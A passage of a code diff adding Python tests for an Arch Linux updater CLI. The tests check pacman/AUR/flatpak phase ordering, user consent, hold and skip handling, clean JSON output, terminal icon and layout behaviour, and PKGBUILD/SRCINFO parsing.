+ assert _strip("n in devel]") in source, source[:1600]
+ # the old shape took the whole foreign set
+ assert _strip("vcs = [n for n in foreign if _is_vcs(n) and n not in gone]") not in source
+
+
+def test_the_command_and_the_screen_agree_on_devel_packages():
+ """The screen asked paru which ones moved; the command did not."""
+ from updater import cli as cli_mod
+
+ display = _code(cli_mod._vcs)
+ apply_source = _code(cli_mod.cmd_apply)
+ assert _strip("upgrades") in display and _strip("devel") in apply_source.lower()
+ # both filter the AUR set down to the VCS names paru reported
+ assert _strip("_is_vcs(name)") in display, display
+ assert _strip("_is_vcs(n)") in apply_source, apply_source[:1600]
+
+
+def test_a_failed_devel_check_offers_nothing_rather_than_everything():
+ """Asked and could not be told: rebuild nothing, not all of it."""
+ source = _code(cli.cmd_apply)
+ assert _strip("devel rebuilds not offered") in source, source[:1800]
+
+
+def test_a_hold_naming_something_outside_the_plan_does_not_skip_the_repo_phase():
+ """Holds cover repository and AUR packages alike.
+
+ The gate compared set sizes, so a hold for an AUR package made the counts
+ line up and the repository phase was skipped -- the soloed package was
+ never installed, silently.
+ """
+ phases, targets, total = cli._apply_phases(
+ {"mesa", "linux", "git"},
+ {"mangowm-git"},
+ {"linux", "git", "mangowm-git"},
+ set(),
+ flatpaks=False,
+ )
+ assert phases == ["repo"], phases # mesa still needs installing
+ assert targets == [], targets # mangowm-git was held
+ assert total == 1, total # mesa alone
+
+
+def test_a_held_aur_target_is_not_built():
+ phases, targets, total = cli._apply_phases(
+ {"mesa"}, {"foo-git"}, {"mesa", "foo-git"}, set(), flatpaks=False
+ )
+ assert phases == [], phases
+ assert targets == [], targets
+ assert total == 0, total
+
+
+def test_holding_every_plan_update_skips_the_repo_phase():
+ phases, targets, total = cli._apply_phases(
+ {"a", "b"}, {"x-git"}, {"a", "b"}, set(), flatpaks=False
+ )
+ assert phases == ["aur"], phases
+ assert targets == ["x-git"], targets
+ assert total == 1, total
+
+
+def test_nothing_held_runs_everything():
+ phases, targets, total = cli._apply_phases({"a", "b"}, {"x-git"}, set(), set(), flatpaks=True)
+ assert phases == ["repo", "aur", "flatpak"], phases
+ assert targets == ["x-git"], targets
+ assert total == 3, total
+
+
+def test_a_skip_and_a_hold_both_remove_a_target():
+ _phases, targets, total = cli._apply_phases(
+ set(), {"a-git", "b-git", "c-git"}, {"b-git"}, {"c-git"}, flatpaks=False
+ )
+ assert targets == ["a-git"], targets
+ assert total == 1, total
+
+
+def test_a_signal_exit_reads_as_a_stop_not_a_compiler_error():
+ """subprocess reports a signal as a negative code, a shell as 128+n."""
+ import tempfile
+ from pathlib import Path as _P
+
+ with tempfile.TemporaryDirectory() as td:
+ log = _P(td) / "p.log"
+ log.write_text("error: could not compile `foo`\n")
+ assert cli._failure_reason(log, "failed (exit -2)", -2) == "stopped before it finished"
+ assert cli._failure_reason(log, "failed (exit 130)", 130) == "stopped before it finished"
+
+
+def test_a_failed_aur_run_offers_a_way_to_finish_it():
+ """An unattended run that hits a question is a dead end without this."""
+ source = _code(cli.cmd_apply)
+ assert _strip('emit("recovery"') in source, source[:400]
+ assert _strip("aur_command_interactive") in source, source[:400]
+ # offered for the packages that failed, not for the whole target list
+ assert _strip("[name for name, _ in failures]") in source, source[:900]
+
+
+def test_the_aur_phase_is_not_reported_twice():
+ """Per-package errors are emitted with each package's own log."""
+ source = _code(cli.cmd_apply)
+ assert _strip('if phase == "aur":\n continue') in source, source[-900:]
+
+
+def test_a_partial_aur_success_still_records_baselines(monkeypatch=None):
+ """One failed package must not erase the baselines of the rest.
+
+ Installing each package as it is built makes a partial success normal, and
+ gating the baseline on a zero exit threw away the record for every package
+ that did install -- so the audit kept reporting "no baseline" for work that
+ had actually happened.
+ """
+ source = _code(cli.cmd_apply)
+ assert _strip("complete=not failures") in source, source[:400]
+ recorder = _code(cli._record_aur_baselines)
+ assert _strip("before.get(name) != after.get(name)") in recorder, recorder
+ assert _strip("only the ones") in recorder or _strip("actually moved") in recorder
+
+
+def test_baselines_are_skipped_for_packages_that_did_not_move(monkeypatch=None):
+ """A failed build leaves the clone at upstream's state, which was never
+ installed; recording it would claim otherwise."""
+ from updater import changes as changes_mod
+
+ recorded = []
+
+ class FakeState:
+ @staticmethod
+ def load():
+ return FakeState()
+
+ def record(self, name, **kwargs):
+ recorded.append(name)
+
+ def save(self):
+ pass
+
+ from pathlib import Path as _P
+
+ class FakeRun:
+ warnings: list[str] = []
+
+ class options:
+ clone_dir = _P("/nonexistent")
+
+ original_state = cli.aur.State
+ original_head = changes_mod.head
+ original_installed = cli._installed_versions
+ try:
+ cli.aur.State = FakeState
+ changes_mod.head = lambda path: type("H", (), {"sha": "abc"})()
+ # alpha moved, beta did not
+ cli._installed_versions = lambda: {"alpha": "2", "beta": "1"}
+ cli._record_aur_baselines(
+ FakeRun, ["alpha", "beta"], {}, {}, before={"alpha": "1", "beta": "1"}, complete=False
+ )
+ finally:
+ cli.aur.State = original_state
+ changes_mod.head = original_head
+ cli._installed_versions = original_installed
+ assert recorded == ["alpha"], recorded
+
+
+def test_vcs_suffix_list_covers_the_common_schemes():
+ for name in ("x-git", "x-svn", "x-hg", "x-cvs", "x-bzr", "x-darcs", "x-nightly"):
+ assert cli._is_vcs(name), name
+ for name in ("x", "x-bin", "git-thing", "x-github"):
+ assert not cli._is_vcs(name), name
+
+
+# --------------------------------------------------------------------------
+# baseline recording: what makes audits improve over time
+# --------------------------------------------------------------------------
+
+
+def test_record_baselines_stores_the_built_commit_and_maintainer():
+ if not (CLONE / "python-tree-sitter-bash").is_dir():
+ return
+ with tempfile.TemporaryDirectory() as td:
+ previous = os.environ.get("XDG_STATE_HOME")
+ os.environ["XDG_STATE_HOME"] = td
+ try:
+ run = cli.Run(options=cli.Options(clone_dir=CLONE))
+ run.updates = {"python-tree-sitter-bash": ("0.25.1-2", "0.25.2-1")}
+ run.aur_meta = {
+ "python-tree-sitter-bash": pkg("python-tree-sitter-bash", "0.25.2-1", "kuglee")
+ }
+ recorded = cli.record_baselines(run)
+ assert recorded == 1
+
+ state = aur.State.load()
+ assert state.previous_maintainer("python-tree-sitter-bash") == "kuglee"
+ commit = state.previous_commit("python-tree-sitter-bash")
+ assert commit, "no commit was recorded"
+ assert len(commit) >= 7
+ finally:
+ if previous is None:
+ os.environ.pop("XDG_STATE_HOME", None)
+ else:
+ os.environ["XDG_STATE_HOME"] = previous
+
+
+def test_record_baselines_is_a_no_op_with_nothing_to_record():
+ with tempfile.TemporaryDirectory() as td:
+ previous = os.environ.get("XDG_STATE_HOME")
+ os.environ["XDG_STATE_HOME"] = td
+ try:
+ run = cli.Run(options=cli.Options())
+ assert cli.record_baselines(run) == 0
+ assert not (Path(td) / "updater" / "aur-state.json").exists()
+ finally:
+ if previous is None:
+ os.environ.pop("XDG_STATE_HOME", None)
+ else:
+ os.environ["XDG_STATE_HOME"] = previous
+
+
+# --------------------------------------------------------------------------
+# the plan payload
+# --------------------------------------------------------------------------
+
+
+def test_plan_payload_is_json_serialisable_and_complete():
+ run = cli.Run(options=cli.Options())
+ run.plan.updates = []
+ payload = cli._plan_payload(run, cli.Review())
+ text = json.dumps(payload)
+ assert json.loads(text) == payload
+ for key in ("repo", "aur", "vcs", "checks", "flatpak", "vulnerabilities", "hygiene", "audits"):
+ assert key in payload, key
+ assert payload["hygiene"]["reboot"] is None
+
+
+def test_the_plan_step_names_the_command_that_actually_runs():
+ """A plan that says -Su while the code runs -Syu is a lie about the plan."""
+ from updater.repo import Update
+
+ run = cli.Run(options=cli.Options())
+ run.plan.updates = [Update("demo", "1.0-1", "2.0-1", "extra", 1024, 2048, 4096)]
+ step = next(s for s in cli._steps(run) if "pacman" in s.command)
+
+ captured: dict = {}
+
+ class Stop(Exception):
+ pass
+
+ class FakeRunner:
+ def run(self, argv, log):
+ captured["argv"] = argv
+ raise Stop
+
+ saved = cli._runner
+ cli._runner = lambda *a, **k: FakeRunner()
+ try:
+ cli.apply_repo(run)
+ except Stop:
+ pass
+ finally:
+ cli._runner = saved
+
+ argv = captured["argv"]
+ # argv is ["sudo", "pacman", "-Syu", "--noconfirm"]; the plan must name the
+ # same binary and flag, or the plan describes a different command
+ assert step.command.split() == argv[1:3], (step.command, argv)
+
+
+def test_plan_steps_do_not_promise_to_apply_a_downgrade():
+ run = cli.Run(options=cli.Options())
+ run.downgrades = {"a": ("2.0-1", "1.0-1")}
+ steps = cli._steps(run)
+ commands = [s.command for s in steps]
+ assert "paru -Sua" not in commands, "a downgrade was offered as an update"
+ assert any("held back" in c for c in commands)
+ detail = next(s.detail for s in steps if s.command == "(held back)")
+ assert "not applied" in detail
+
+
+def test_plan_steps_mention_a_reboot_only_when_recommended():
+ run = cli.Run(options=cli.Options())
+ assert "reboot" not in [s.command for s in cli._steps(run)]
+ run.hygiene.reboot = "running kernel 6.16.8 is no longer installed"
+ assert "reboot" in [s.command for s in cli._steps(run)]
+
+
+# --------------------------------------------------------------------------
+# checks
+# --------------------------------------------------------------------------
+
+
+def test_checks_report_an_offline_run_honestly():
+ run = cli.Run(options=cli.Options(offline=True))
+ labels = {c.label: c for c in cli._checks(run)}
+ assert "network" in labels
+ assert "offline" in labels["network"].detail
+
+
+def test_checks_flag_unmerged_config_files():
+ from updater.hygiene import Drift
+
+ run = cli.Run(options=cli.Options())
+ run.hygiene.drift = Drift(pacnew=[Path("/etc/x.conf.pacnew")])
+ pacnew = next(c for c in cli._checks(run) if c.label == "pacnew")
+ assert pacnew.ok is False
+ assert "1 unresolved" in pacnew.detail
+
+
+def test_checks_surface_warnings_rather_than_swallowing_them():
+ run = cli.Run(options=cli.Options())
+ run.warnings.append("6 packages no longer in the AUR")
+ warnings = [c for c in cli._checks(run) if c.label == "warning"]
+ assert warnings and "no longer in the AUR" in warnings[0].detail
+
+
+def test_checks_never_raise_on_an_empty_run():
+ run = cli.Run(options=cli.Options())
+ assert isinstance(cli._checks(run), list)
+ assert isinstance(cli._steps(run), list)
+
+
+# --------------------------------------------------------------------------
+# the safety property: phase ordering and gating
+# --------------------------------------------------------------------------
+
+
+class _FakeResult:
+ def __init__(self, ok: bool, code: int = 0):
+ self.returncode = code
+ self.elapsed = 1.0
+ self.log_path = Path("/tmp/fake.log")
+ self.feed: list = []
+ self.interrupted = False
+ self.ok = ok
+
+
+class _Harness:
+ """Drive main() with the system-touching parts replaced."""
+
+ def __init__(self, repo_ok: bool = True, aur_ok: bool = True, flatpak_ok: bool = True):
+ self.calls: list[str] = []
+ self.saved: dict = {}
+ self.repo_ok, self.aur_ok, self.flatpak_ok = repo_ok, aur_ok, flatpak_ok
+
+ def __enter__(self):
+ from updater.render import RepoRow, Review
+
+ def keep(name, value):
+ self.saved[name] = getattr(cli, name)
+ setattr(cli, name, value)
+
+ # keep the harness quiet: main() builds its own Console
+ from rich.console import Console as _Console
+
+ keep(
+ "Console", lambda *a, **k: _Console(file=io.StringIO(), width=100, force_terminal=False)
+ )
+ keep(
+ "gather",
+ lambda run: Review(
+ repo=[RepoRow("U", "demo", "1.0-1", "2.0-1", "1 KiB")], repo_total=1
+ ),
+ )
+ keep("confirm", lambda run, prompt: True)
+ keep("emit_plan", lambda run, review: None)
+ keep(
+ "write_summary",
+ lambda run, results: self.calls.append("summary") or Path("/tmp/summary.txt"),
+ )
+ keep("record_baselines", lambda run: self.calls.append("baselines") or 0)
+
+ def repo_phase(run):
+ self.calls.append("repo")
+ return _FakeResult(self.repo_ok, 0 if self.repo_ok else 1)
+
+ def aur_phase(run):
+ self.calls.append("aur")
+ return _FakeResult(self.aur_ok, 0 if self.aur_ok else 1)
+
+ def flatpak_phase(run):
+ self.calls.append("flatpak")
+ return _FakeResult(self.flatpak_ok, 0 if self.flatpak_ok else 1)
+
+ keep("apply_repo", repo_phase)
+ keep("apply_aur", aur_phase)
+ keep("apply_flatpak", flatpak_phase)
+ return self
+
+ def __exit__(self, *exc):
+ for name, value in self.saved.items():
+ setattr(cli, name, value)
+ return False
+
+
+def test_a_failed_repo_phase_stops_before_any_aur_build():
+ """Building AUR packages against a half-upgraded system breaks the tree."""
+ with _Harness(repo_ok=False) as h:
+ code = cli.main(["--yes", "--no-security", "--offline"])
+ assert "repo" in h.calls
+ assert "aur" not in h.calls, f"AUR built anyway: {h.calls}"
+ assert "flatpak" not in h.calls
+ assert code == cli.EXIT_FAILED
+
+
+def test_a_successful_repo_phase_is_followed_by_aur_then_flatpak():
+ with _Harness() as h:
+ code = cli.main(["--yes", "--no-security", "--offline"])
+ # relative order is what matters; baseline recording legitimately sits
+ # between the AUR phase and the flatpak phase
+ assert h.calls.index("repo") < h.calls.index("aur") < h.calls.index("flatpak"), h.calls
+ assert h.calls.index("baselines") < h.calls.index("flatpak")
+ assert code == cli.EXIT_OK
+
+
+def test_baselines_are_recorded_only_after_a_successful_aur_phase():
+ with _Harness(aur_ok=True) as h:
+ cli.main(["--yes", "--no-security", "--offline"])
+ assert "baselines" in h.calls
+
+ with _Harness(aur_ok=False) as h2:
+ code = cli.main(["--yes", "--no-security", "--offline"])
+ assert "baselines" not in h2.calls, "recorded a baseline for a failed build"
+ assert code == cli.EXIT_FAILED
+
+
+def test_a_failed_flatpak_phase_does_not_prevent_the_summary():
+ with _Harness(flatpak_ok=False) as h:
+ code = cli.main(["--yes", "--no-security", "--offline"])
+ assert "summary" in h.calls
+ assert code == cli.EXIT_FAILED
+
+
+def test_declining_the_plan_stops_everything():
+ with _Harness() as h:
+ cli.confirm = lambda run, prompt: False
+ code = cli.main(["--no-security", "--offline"])
+ assert h.calls == [], f"something ran after a decline: {h.calls}"
+ assert code == cli.EXIT_DECLINED
+
+
+def test_dry_run_never_reaches_the_apply_phase():
+ with _Harness() as h:
+ code = cli.main(["--yes", "--dry-run", "--no-security", "--offline"])
+ assert h.calls == [], f"dry run applied something: {h.calls}"
+ assert code == cli.EXIT_OK
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+# --------------------------------------------------------------------------
+# the machine-readable contract
+# --------------------------------------------------------------------------
+
+
+def _run_json(argv: list[str], env: dict[str, str]) -> str:
+ """Run the CLI in-process with a modified environment, capturing stdout."""
+ import contextlib
+
+ saved = {k: os.environ.get(k) for k in env}
+ os.environ.update(env)
+ out = io.StringIO()
+ try:
+ with contextlib.redirect_stdout(out), contextlib.redirect_stderr(io.StringIO()):
+ cli.main(argv)
+ finally:
+ for key, value in saved.items():
+ if value is None:
+ os.environ.pop(key, None)
+ else:
+ os.environ[key] = value
+ return out.getvalue()
+
+
+def test_json_output_is_never_colourised():
+ """Rich colourises print_json and honours FORCE_COLOR.
+
+ Using it put ANSI escapes inside the JSON, so on any machine with colour
+ forced on the front end could not parse a single byte. Machine-readable
+ output has to be byte-exact.
+ """
+ for env in (
+ {"FORCE_COLOR": "3", "TERM": "xterm-256color"},
+ {"FORCE_COLOR": "1"},
+ {"CLICOLOR_FORCE": "1"},
+ {"NO_COLOR": "1"},
+ {},
+ ):
+ out = _run_json(
+ ["plan", "--offline", "--json", "--no-security", "--no-hygiene", "--no-flatpak"], env
+ )
+ assert "\x1b" not in out, f"ANSI escape in JSON with env {env}: {out[:80]!r}"
+ parsed = json.loads(out) # must be valid on its own
+ assert isinstance(parsed, dict)
+
+
+def test_json_output_parses_under_a_hostile_environment():
+ for env in (
+ {"TERM": "dumb"},
+ {"TERM": "xterm-256color", "FORCE_COLOR": "3"},
+ {"COLUMNS": "40"},
+ {"LANG": "C"},
+ ):
+ out = _run_json(
+ ["plan", "--offline", "--json", "--no-security", "--no-hygiene", "--no-flatpak"], env
+ )
+ json.loads(out)
+
+
+def test_the_security_and_advisory_json_paths_are_plain_too():
+ """Every subcommand that can emit JSON must go through the same writer."""
+
+ src = _code(cli)
+ # the call form, not the mention in _print_json's own docstring
+ assert _strip("console.print_json(") not in src, "console.print_json reintroduces the ANSI leak"
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
+
+
+# --------------------------------------------------------------------------
+# consent
+# --------------------------------------------------------------------------
+
+
+def _run_with_phases(argv: list[str]) -> tuple[int, str]:
+ """Run the CLI with the repo plan and AUR classifier stubbed to yield work.
+
+ Consent is what is under test, so the phases must be non-empty: with nothing
+ to do the command correctly returns before it ever asks.
+ """
+ import contextlib
+
+ from updater import flatpak as flatpak_mod
+ from updater import repo as repo_mod
+
+ stub_plan = repo_mod.Plan(
+ updates=[
+ repo_mod.Update(
+ name="linux",
+ old="6.15-1",
+ new="6.16-1",
+ repo="core",
+ download=1,
+ installed_old=1,
+ installed_new=1,
+ desc="the kernel",
+ )
+ ],
+ ignored=[],
+ )
+ saved = {
+ "plan": repo_mod.plan,
+ "classify": cli._classify_aur,
+ "flatpak": cli.flatpak.collect,
+ }
+ repo_mod.plan = lambda handle, *a, **k: stub_plan
+ cli._classify_aur = lambda installed, meta: ({"demo-bin": ("1-1", "2-1")}, {})
+ cli.flatpak.collect = lambda **_: flatpak_mod.FlatpakState(
+ available=True, reason="", remotes=[], installed=[], updates=[]
+ )
+
+ out = io.StringIO()
+ try:
+ with contextlib.redirect_stdout(out), contextlib.redirect_stderr(io.StringIO()):
+ code = cli.main(argv)
+ finally:
+ repo_mod.plan = saved["plan"]
+ cli._classify_aur = saved["classify"]
+ cli.flatpak.collect = saved["flatpak"]
+ return code, out.getvalue()
+
+
+def test_json_stream_without_yes_is_refused_rather_than_assumed():
+ """A stream consumer owns its own dialog, so asking for the stream is not consent."""
+ code, out = _run_with_phases(["apply", "--json-stream", "--offline"])
+ events = [json.loads(l) for l in out.splitlines() if l.strip()]
+ assert events, "no protocol output at all"
+ assert code == cli.EXIT_DECLINED, f"exit {code}: {events}"
+ assert events[-1]["event"] == "done"
+ assert events[-1]["returncode"] == cli.EXIT_DECLINED
+ assert any(e["event"] == "error" and "--yes" in e.get("message", "") for e in events), events
+
+
+def test_apply_never_runs_a_phase_without_consent():
+ """The whole point: no phase may run when consent was not given."""
+ code, out = _run_with_phases(["apply", "--json-stream", "--offline"])
+ events = [json.loads(l) for l in out.splitlines() if l.strip()]
+ assert code != cli.EXIT_OK
+ assert not [e for e in events if e["event"] == "phase_start"], "a phase started without consent"
+ assert not [e for e in events if e["event"] == "phase_end"], "a phase ran without consent"
+
+
+def test_an_unexpected_failure_is_not_a_traceback():
+ """The top of the program owns turning a failure into an exit code.
+
+ A traceback tells somebody running an update nothing about what to do next.
+ """
+ import contextlib
+ import io
+
+ from updater import cli as cli_mod
+
+ original = cli_mod.cmd_checks
+
+ def boom(run):
+ raise RuntimeError("something nobody anticipated")
+
+ cli_mod.cmd_checks = boom
+ err = io.StringIO()
+ try:
+ with contextlib.redirect_stderr(err):
+ code = cli_mod.main(["checks"])
+ finally:
+ cli_mod.cmd_checks = original
+
+ assert code == cli_mod.EXIT_FAILED, code
+ text = err.getvalue()
+ assert "RuntimeError" in text and "something nobody anticipated" in text, text
+ assert "UPDATER_DEBUG" in text, text
+
+
+def test_a_failure_re_raises_for_debugging(monkeypatch=None):
+ """UPDATER_DEBUG keeps the traceback, because then it is what you want."""
+ from updater import cli as cli_mod
+
+ source = _code(cli_mod.main)
+ assert _strip('os.environ.get("UPDATER_DEBUG")') in source, source
+ assert _strip("raise") in source, source
+
+
+def test_an_audit_blocked_package_is_actually_skipped():
+ """The plan and the prompt both promise it; the run has to do it.
+
+ The plan screen said "will be skipped", the prompt said "skipping N flagged
+ packages", and the skip set was built from --skip and IgnorePkg alone. A
+ package the audit refused was built with the reader told otherwise.
+ """
+ source = _code(cli.cmd_apply)
+ assert _strip("set(run.blocked)") in source, source[:2000]
+ assert _strip("flagged") in source, source[:2000]
+
+
+def test_the_checks_refresh_declares_what_it_covers():
+ """`checks --json` recomputes machine-local rows only.
+
+ Replacing the whole list with it dropped "reboot needed" and "flatpak
+ remote unreachable" from the screen until the next restart, because those
+ rows are not things this command can recompute.
+ """
+ source = _code(cli.cmd_checks)
+ assert _strip('"covers"') in source, source
+
+
+def test_repo_advisories_are_objects_not_ids():
+ """The overlay decodes one shape for both kinds of package."""
+ from updater import detail as detail_mod
+
+ source = _code(detail_mod.repo_package_detail)
+ assert _strip("advisory_detail(a)") in source, source[-900:]
+
+
+def test_the_apply_refreshes_only_when_the_plan_did():
+ """`-y` re-syncs, so the transaction can install a set the plan never saw."""
+ from updater import stream as stream_mod
+
+ assert "-Syu" in stream_mod.repo_command([], refresh=True)
+ assert "-Syu" not in stream_mod.repo_command([], refresh=False)
+ assert "-Su" in stream_mod.repo_command([], refresh=False)
+
+
+def test_re_running_arch_audit_actually_reruns_it():
+ """It served the cache the plan had just written, seconds earlier."""
+ source = _code(cli.cmd_security)
+ assert _strip("force=True") in source, source[:900]
+
+
+def test_a_skipped_package_is_left_out_of_the_resume():
+ """Skipping is a decision, not a failure.
+
+ It must not be counted with the failures, and it must not come back in the
+ resume command -- the reader said they wanted this one left.
+ """
+ source = _code(cli._apply_aur_each)
+ assert _strip('runner, "skipped"') in source, source[-1200:]
+ assert _strip("passed_over") in source, source[-1200:]
+
+ apply_source = _code(cli.cmd_apply)
+ assert _strip("passed_over") in apply_source, apply_source[-1600:]
+ assert _strip("unfinished = [name for name, _ in failures] + remaining") in apply_source, (
+ "a skip leaked into the resume set"
+ )
+
+
+def test_the_skip_handler_is_installed_only_where_it_can_be_acted_on():
+ """An ordinary CLI run has nothing listening for the key.
+
+ Leaving SIGUSR1 at its default keeps an unexpected one a real stop.
+ """
+ source = _code(cli.cmd_apply)
+ assert _strip("listen_for_skip()") in source, source[:1200]
+ assert _strip("opts.json_stream") in source, source[:1200]
+
+
+def test_only_packages_that_build_weigh_anything():
+ """A build runs for minutes; a download is over in about a second.
+
+ Counting them alike raced the bar to nearly full during the repository
+ phase, where every package is fast, and left the estimate resting on a mean
+ of zero-second work.
+ """
+ import tempfile
+ from pathlib import Path as _P
+
+ from updater import stream as stream_mod
+
+ with tempfile.TemporaryDirectory() as td:
+ clone = _P(td) / "src-git"
+ clone.mkdir()
+ (clone / "PKGBUILD").write_text("pkgname=src-git\npkgver=1\nbuild() {\n make\n}\n")
+ plain = _P(td) / "bin-bin"
+ plain.mkdir()
+ (plain / "PKGBUILD").write_text(
+ 'pkgname=bin-bin\npkgver=1\npackage() {\n install -Dm755 x "$pkgdir/x"\n}\n'
+ )
+
+ assert cli._package_weight("src-git", _P(td), phase="aur") == stream_mod.BUILD_WEIGHT
+ assert cli._package_weight("bin-bin", _P(td), phase="aur") == stream_mod.PLAIN_WEIGHT
+ # a repository package has no PKGBUILD here at all, and is fast anyway
+ assert cli._package_weight("linux", _P(td), phase="repo") == stream_mod.PLAIN_WEIGHT
+
+
+def test_the_start_event_carries_work_as_well_as_packages():
+
+ from updater import stream as stream_mod
+
+ assert stream_mod.BUILD_WEIGHT > 1, "a build has to outweigh a download"
+ source = _code(cli.cmd_apply)
+ assert _strip("weight=weight_total") in source, source[:2000]
+ assert _strip("weights=") in source, source[:2000]
diff --git a/tests/test_core.py b/tests/test_core.py
@@ -0,0 +1,466 @@
+"""Core tests. Runnable directly (`python tests/test_core.py`) or under pytest.
+
+The interesting ones are the integration tests: a real process tree observed
+through /proc, and the real .SRCINFO corpus in ~/.cache/paru/clone.
+"""
+
+from __future__ import annotations
+
+import os
+import stat
+import subprocess
+import sys
+import tempfile
+import time
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import icons, layout, procwatch # noqa: E402
+from updater.buildgraph import MissingMetadata, build_graph # noqa: E402
+from updater.srcinfo import SrcInfo, dep_name, load, parse_pkgbuild, parse_srcinfo # noqa: E402
+from updater.theme import ANSI16, Theme # noqa: E402
+
+CLONE = Path.home() / ".cache/paru/clone"
+
+
+# --------------------------------------------------------------------------
+# theme
+# --------------------------------------------------------------------------
+
+
+def test_theme_roles_are_ansi16_or_default():
+ t = Theme.default()
+ for name in (
+ "text",
+ "muted",
+ "rule",
+ "accent",
+ "ok",
+ "warn",
+ "alert",
+ "err",
+ "old",
+ "new",
+ "ver",
+ ):
+ style = getattr(t, name)
+ for token in style.split():
+ assert token in ANSI16 or token in ("bold", "dim", "underline", "italic", "reverse"), (
+ f"{name}: {token!r} is not an ANSI-16 slot or an attribute"
+ )
+
+
+def test_theme_remap_rejects_junk():
+ t = Theme.default()
+ assert t.remap(ok="cyan").ok == "dim cyan"
+ for bad in ("notacolour", "bright_purple"):
+ try:
+ t.remap(ok=bad)
+ except ValueError:
+ pass
+ else:
+ raise AssertionError(f"remap accepted {bad!r}")
+ try:
+ t.remap(nonsense="red")
+ except ValueError:
+ pass
+ else:
+ raise AssertionError("remap accepted an unknown role")
+
+
+# --------------------------------------------------------------------------
+# icons
+# --------------------------------------------------------------------------
+
+
+def test_icon_detection_matrix():
+ local = {"TERM": "xterm-kitty"}
+ cases = [
+ (local, True, True, "nerd"),
+ (local, True, False, "unicode"),
+ ({**local, "SSH_CONNECTION": "1.2.3.4 5 5.6.7.8 9"}, True, True, "unicode"),
+ ({**local, "TMUX": "/tmp/tmux-1000/default,123,0"}, True, True, "unicode"),
+ ({"TERM": "dumb"}, True, True, "ascii"),
+ ({**local, "NO_ICONS": "1"}, True, True, "ascii"),
+ (local, False, True, "ascii"),
+ ]
+ for env, tty, nerd, expected in cases:
+ tier, reason = icons.detect(env, is_tty=tty, nerd_font=nerd)
+ assert tier == expected, f"{env} -> {tier}, expected {expected} ({reason})"
+ assert reason
+
+
+def test_icon_override_wins_and_is_validated():
+ tier, _ = icons.detect({"TERM": "dumb"}, is_tty=False, nerd_font=False, override="nerd")
+ assert tier == "nerd"
+ try:
+ icons.detect({}, override="emoji")
+ except ValueError:
+ pass
+ else:
+ raise AssertionError("bad override accepted")
+
+
+def test_every_state_glyph_is_one_cell():
+ """A two-cell glyph silently breaks every column to its right."""
+ for name, g in icons.TIERS.items():
+ for field in ("done", "run", "wait", "fail", "shared", "warn", "arrow"):
+ glyph = getattr(g, field)
+ assert len(glyph) == 1, f"{name}.{field} is {len(glyph)} cells: {glyph!r}"
+
+
+# --------------------------------------------------------------------------
+# layout
+# --------------------------------------------------------------------------
+
+
+def test_layout_clips_rather_than_overflowing():
+ """A renderer must never hand the terminal a line it will wrap."""
+ grid = layout.Grid(width=20)
+ row = grid.row().span("x" * 25)
+ assert row.done().cell_len <= 20
+ assert row.clipped == 1, "clipping happened but was not reported"
+
+
+def test_layout_reports_clipping_through_every_primitive():
+ grid = layout.Grid(width=20, right_margin=2)
+ assert grid.row().span("x" * 50).clipped == 1
+ assert grid.row().right("y" * 50).clipped >= 1
+ # `to` past the edge is clamped, not silently accepted
+ row = grid.row().span("abc").to(99)
+ assert row.done().cell_len <= 20
+ assert row.clipped == 1
+ # and nothing is clipped when it genuinely fits
+ assert grid.row().span("abc").right("def").clipped == 0
+
+
+def test_layout_check_catches_a_hand_built_overlong_line():
+ from rich.text import Text as RText
+
+ try:
+ layout.check([RText("z" * 30)], width=20)
+ except layout.Overflow:
+ pass
+ else:
+ raise AssertionError("check() did not catch an over-wide line")
+
+
+def test_layout_right_align_and_fill():
+ grid = layout.Grid(width=20, right_margin=2)
+ assert grid.row().span("a").right("end").done().plain == " a" + " " * 12 + "end"
+ assert len(grid.row().fill().done().plain) == 20
+ assert grid.right == 18
+ # a value wider than its column is clipped, never allowed to push past it
+ assert grid.row().right("w" * 40).done().cell_len <= 20
+
+
+# --------------------------------------------------------------------------
+# srcinfo / pkgbuild
+# --------------------------------------------------------------------------
+
+
+def test_dep_name_strips_constraints_and_descriptions():
+ assert dep_name("python>=3.14") == "python"
+ assert dep_name("foo<2: for bar") == "foo"
+ assert dep_name("plain") == "plain"
+
+
+def test_parse_srcinfo_real_shape():
+ info = parse_srcinfo(
+ "pkgbase = demo\n"
+ "\tpkgver = 1.2.3\n\tpkgrel = 4\n\tepoch = 2\n"
+ "\tmakedepends = cmake\n\tcheckdepends = python-pytest\n"
+ "\tdepends = glibc\n\tdepends = python-attrs\n"
+ "\tsource = https://example.invalid/a.tar.gz\n"
+ "\tsha256sums = abc\n"
+ "\n"
+ "pkgname = demo\n"
+ "\tdepends = extra-dep\n"
+ "\n"
+ "pkgname = demo-docs\n"
+ )
+ assert info.pkgbase == "demo"
+ assert info.version == "2:1.2.3-4"
+ assert info.declared_names() == ["demo", "demo-docs"]
+ assert set(map(dep_name, info.depends)) == {"glibc", "python-attrs", "extra-dep"}
+ assert info.per_package_depends["demo"] == ["extra-dep"]
+ assert info.build_depends == ["cmake", "python-pytest", "glibc", "python-attrs", "extra-dep"]
+
+
+def test_pkgbuild_parser_handles_arrays_quotes_and_functions():
+ pb = parse_pkgbuild(
+ "# Maintainer: someone\n"
+ "pkgname=demo\n"
+ "_name=demo\n"
+ "pkgver=1.0\n"
+ "depends=('a' 'b')\n"
+ "source=(\n"
+ ' "https://example.invalid/${pkgver}.tar.gz"\n'
+ " 'local.patch'\n"
+ ")\n"
+ 'pkgdesc="has a # hash and a = sign"\n'
+ "\n"
+ "build() {\n"
+ ' cd "$srcdir/$_name-$pkgver"\n'
+ " make\n"
+ "}\n"
+ "\n"
+ "package() {\n"
+ ' make DESTDIR="$pkgdir" install\n'
+ "}\n"
+ )
+ assert pb.one("pkgver") == "1.0"
+ assert pb.get("depends") == ["a", "b"]
+ assert pb.get("source") == ["https://example.invalid/${pkgver}.tar.gz", "local.patch"]
+ assert pb.one("pkgdesc") == "has a # hash and a = sign"
+ assert sorted(pb.funcs) == ["build", "package"]
